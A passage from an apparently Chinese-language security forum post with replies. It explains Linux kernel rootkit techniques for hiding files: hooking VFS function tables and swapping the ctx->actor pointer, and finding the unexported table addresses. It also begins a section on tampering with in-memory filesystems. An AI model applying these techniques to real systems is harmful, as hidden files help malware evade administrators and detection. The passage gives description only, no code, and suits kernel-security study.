由于填充返回给用户的数据的核心逻辑便是调用 ctx->actor() ,因此我们可以在我们自定义的 iterate_shared / iterate直接动态修改 ctx->actor 函数指针,从而完成文件隐藏:)

相比于 inline hook,直接 hook VFS 函数表要更方便得多,不过需要注意的是函数表的地址对内核模块同样是不导出的,这里我们有两种办法获得 VFS 函数表的地址:

  • 借助用户态进程读取 /proc/kallsyms 进行获取
  • 在内核空间中打开一个文件夹,直接修改其函数表

三、篡改 VFS 结构(针对仅存在于内存中的文件系统)

在 Linux 当中诸如 ramfs/tmpfs/devtmpfs/procfs/sysfs/... 等文件系统都并不在外存当中占用存储空间,没有对应的文件系统设备,而仅存在于内存当中,为基于 VFS 与 page caches 结构形成基于内存的文件系统


[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费 8
支持
分享
最新回复 (5)
雪    币: 1235
活跃值: (25)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
2
草,好像发错区了,怎么转移或者删掉...
2025-3-8 06:33
0
雪    币: 204
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
arttnba3 草,好像发错区了,怎么转移或者删掉...
写的很好啊,问问管理员能不能直接转吧
2025-3-8 10:14
0
雪    币: 23352
活跃值: (3472)
能力值: (RANK:648 )
在线值:
发帖
回帖
粉丝
4
有几张图挂了,辛苦重新传一下
4天前
0
雪    币: 300
活跃值: (2672)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
mark
1天前
0
雪    币: 9023
活跃值: (5620)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
学 习 一 下。
1天前
0
游客
登录 | 注册 方可回帖
返回